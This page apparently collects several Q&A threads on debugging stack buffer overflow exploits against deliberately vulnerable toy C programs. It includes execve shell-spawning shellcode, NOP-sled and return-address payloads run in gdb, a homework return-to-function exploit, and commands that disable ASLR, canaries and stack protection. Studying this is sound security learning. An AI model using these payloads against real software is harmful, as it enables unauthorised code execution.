Buffer Overflow not spawning shell? - c

(I know, Too many answers already, but need help)
As far as I know a buffer overflow can be protected by either ASLR, memory canaries, or non-executable stack. so for my testing purpose, I disabled ASLR with following sysctl -w kernel.randomize_va_space=0, disabled program canaries with following -fno-stack-protector and made the stack executable with following -z execstack.
Now to confirm these I did:
ASLR
root#kali:/tmp# cat /proc/sys/kernel/randomize_va_space
0
Executable stack: readelf -l vuln2
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Other info that might help:
root#kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped
CPU architecture is little endian:
root#kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian
program:
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}
Compilation:
gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack
Shellcode: is 25 bytes
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
does the shellcode work though? Yes, yes it does, compiling this spawn a shell:
#include <sys/mman.h>
#include <stdint.h>
char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";
int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
How do I exploit it?
well I need 526 bytes to overwrite RIP:
(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
Stack start address: 0x7fffffffdd70
(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
RBP Address:
(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141
now in order to exploit the stack we minus 6 from 526 which will be replaced with return address and minus 25 which is the shellcode, so totall 526-6-25=495
Final Exploit:
(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()
Is there any mistake that I am making?

1)I have same issue. It's happening when return address on the stack is
modifying by shellcode and the address replaced does not belong to valid
addresses.
After you get this error, type x/400xw $rsp , choose valid address and correct
padding, from stack.
You're welcome.
0x00007fffffffdf73 cannot be a valid address because you are in 64 bits mode
and this address isn't 8 bytes aligned.
no word starts from this address.
For example,
0x7fffffffdf70: 0x41414141 0x41414141 0x41414141 0x41414141
If you try to access to 0x7fffffffdf73 , you retrieve a first word (from left) and 3-nth byte from right
(because little endian, MSB is on the right) .
So, you have to choose an address like 0x7fffffffdf70 or 0x7fffffffdf74 or
0x7fffffffdf78 etc... (last digit of address multiple of 4)

Related

Why cannot rewrite EIP even if disabled memory randomization and no stack protector?

I am following tutorial on youtube about basic buffer overflow "Running a Buffer Overflow Attack - Computerphile" and I cannot overwrite EIP value on Kali linux 2021.2.
#include <stdio.h>
#include <string.h>
int main (int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
I have compiled vuln.c with flags
gcc -m32 -g -fno-stack-protector -o vuln vuln.c
I have also disable OS memory randomization
after running
(gdb) run $(python -c 'print "\x41" * 508') I got SIGSEGV, but my registers look different from video -> "ecx 0x41414141 ebx 0x41414141 eip 0x565561e9 ", instruction pointer is not pointing as was mentioned in video at 0x41414141 but at some weird address " 0x565561e9". Can somebody explain me why? Why I cannot directly overwrite EIP and accomplish overflow?

Overwriting the stored return address on the stack doesn't work

I'm trying to take control of a C program's execution by overwriting the stored return address (saved eip) on the stack:
(gdb) info frame
Stack level 0, frame at 0xbffff550:
eip = 0x8048831 in main (6.c:52); saved eip = 0xbffffdef
source language c.
Arglist at 0xbffff538, args: argc=6, argv=0xbffff5e4
Locals at 0xbffff538, Previous frame's sp is 0xbffff550
Saved registers:
ebx at 0xbffff534, ebp at 0xbffff538, eip at 0xbffff54c
The value 0xbffffdef is the address of a "Hello, world!" shellcode which has been assembled, checked for any null bytes and put in an environment variable SHELLCODE:
(gdb) x/s *((char **)environ + 7)
0xbffffdef: "SHELLCODE=\353\023Y1\300\260\004\061\333C1Ҳ\017̀\260\001K̀\350\350\377\377\377Hello, world!\n\r"
Unfortunately the program fails to print the expected greeting:
Program received signal SIGSEGV, Segmentation fault.
0xbffffdfd in ?? ()
Why did it crash and how to solve the problem?
Notes:
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
// program was compiled with the following flags:
-m32 -fno-stack-protector -z execstack -fno-PIE -no-pie -g
program source: link
Credits to #Nate Eldredge
The reason behind this specific crash is the incorrect return address 0xbffffdef. The location of the environment variable SHELLCODE actually points to the beginning of the string "SHELLCODE=..."
(gdb) x/s *((char **)environ + 7)
0xbffffdef: "SHELLCODE=\353\023Y1\300\260\004\061\333C1Ҳ\017̀\260\001K̀\350\350\377\377\377Hello, world!\n\r"
In order to fix the issue, we have to adjust the address by skipping the first 10 characters and point to the "\353\023Y1\300...":
0xbffffdef + 0xa = 0xbffffdf9
When overwriting the stored return address with this value 0xbffffdf9, the program is coerced into greeting the world:
(gdb) info frame
Stack level 0, frame at 0xbffff550:
eip = 0x8048831 in main (6.c:52); saved eip = 0xbffffdf9
source language c.
Arglist at 0xbffff538, args: argc=6, argv=0xbffff5e4
Locals at 0xbffff538, Previous frame's sp is 0xbffff550
Saved registers:
ebx at 0xbffff534, ebp at 0xbffff538, eip at 0xbffff54c
(gdb) cont
Continuing.
Hello, world!
[Inferior 1 (process 28591) exited normally]

Why am I not getting a Buffer Overflow?

Everything I read leads me to believe that this should cause a stack buffer overflow, but it does not:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char password[8];
int correctPassword = 0;
printf("Password \n");
gets(password);
if(strcmp(password, "password"))
{
printf ("Wrong password entered, root privileges not granted... \n");
}
else
{
correctPassword = 1;
}
if(correctPassword)
{
printf ("Root privileges given to the user \n");
}
return 0;
}
But here is my output:
in this case, testtesttesttesttest is clearly larger than 8 characters, and, according to the source, it should cause a stack buffer overflow, but it does not. Why is this?
Reading more bytes then your buffer can contain won't always lead to a run-time error but it's a very bad and common error (read this article about smashing the stack). As I read from comments you added -fno-stack-protector to get the program to not print * stack smashing detected * but that's not a good idea. You should use scanf(" %8s",password) or something similar to limit the dimension of what you read.
Your code does cause a buffer overflow on the stack, in the sense that you have overwritten the allocated memory for the password buffer. Behold the memory that has been overwritten after you provide the input.
gcc -o Overflow Overflow.c -fno-stack-protector -g
gdb Overflow
(gdb) b 8
Breakpoint 1 at 0x4005cc: file Overflow.c, line 8.
(gdb) b 11
Breakpoint 2 at 0x4005e2: file Overflow.c, line 11.
(gdb) r
Starting program: /home/hq6/Code/SO/C/Overflow
Breakpoint 1, main (argc=1, argv=0x7fffffffde08) at Overflow.c:8
8 printf("Password \n");
(gdb) x/20x password
# Memory before overflow
0x7fffffffdd10: 0xffffde00 0x00007fff 0x00000000 0x00000000
0x7fffffffdd20: 0x00400630 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdd30: 0x00000000 0x00000000 0xffffde08 0x00007fff
0x7fffffffdd40: 0xf7ffcca0 0x00000001 0x004005b6 0x00000000
0x7fffffffdd50: 0x00000000 0x00000000 0x67fbace7 0x593e0a93
(gdb) c
Continuing.
Password
correctPassword
Breakpoint 2, main (argc=1, argv=0x7fffffffde08) at Overflow.c:11
11 if(strcmp(password, "password"))
(gdb) x/20x password
# Memory after overflow
0x7fffffffdd10: 0x72726f63 0x50746365 0x77737361 0x0064726f
0x7fffffffdd20: 0x00400630 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdd30: 0x00000000 0x00000000 0xffffde08 0x00007fff
0x7fffffffdd40: 0xf7ffcca0 0x00000001 0x004005b6 0x00000000
0x7fffffffdd50: 0x00000000 0x00000000 0x67fbace7 0x593e0a93
Whether or not a buffer overflow has undesirable side effects is undefined behavior.

How can I exploit a buffer overflow?

I have a homework assignment to exploit a buffer overflow in the given program.
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
The professor wants us to exploit the input gets(). We are not suppose to modify the code in any way, only create a malicious input that will create a buffer overflow. I've looked online but I am not sure how to go about doing this. I'm using gcc version 5.2.0 and Windows 10 version 1703. Any tips would be great!
Update:
I have looked up some tutorials and at least found the address for the hidden function I am trying to overflow into, but I am now stuck. I have been trying to run these commands:
gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp
With that last command, it comes up saying "Value can't be converted to integer." I tried replacing esp to rsp because I am on a 64-bit but that came up with the same result. Is there a work around to this or another way to find the address of buf?
Since buf is pointing to an array of characters that are of length 12, inputing anything with a length greater than 12 should result in buffer overflow.
First, you need to find the offset to overwrite the Instruction pointer register (EIP).
Use gdb + peda is very useful:
$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret
0x4005c9 <main>: push rbp
0x4005ca <main+1>: mov rbp,rsp
0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput>
0x4005d2 <main+9>: mov edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....
Now, you can overwrite the EIP register, the offset is 24 bytes. As in your homework just need print the "Gotcha!\n" string. Just jump to oopsIGotToTheBadFunction function.
Get the function address:
$ readelf -s bof
...
50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction
...
Make the exploit and got the results:
[manu#debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu#debian /tmp]$ ./bof < input
Gotcha!

Different buffer length in gdb

I am trying to exploit the following program :
#include <string.h>
int main(int argc, char *argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array, argv[1]);
}
I want to first find the buffer length in order to overflow the stack so I use
(gdb) x/20xw $esp-532
0xffffcda8: 0x00000001 0x00000000 0x41414141 0x41414141
0xffffcdb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcdc8: 0x00000041 0xf7fe6b8c 0xf7ffd000 0x00000000
0xffffcdd8: 0xffffce98 0xf7fe70db 0xf7ffdaf0 0xf7fd8e08
0xffffcde8: 0x00000001 0x00000001 0x00000000 0xf7ff55ac
(gdb)
And I find the address (since I ran 'AAAA'), so the address is 0xffffcdaa .
Im running a 64bit system, disabled ASLR.
And I defined the buffer 512 bytes long.
And I get
(gdb) p 0xffffddf0 - 0xffffcdaa
$1 = 4166
(gdb)
How can this be? It has something to do with my 64bit system? Im trying to follow an old book and cant really find anything better.
I used this program to find the starting point
// find_start.c
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%x\n",find_start());
}
(when this program compiled with the -m32 flag the output of it gives me a starting point that gives me a little better result, 574, but still is too far)

Resources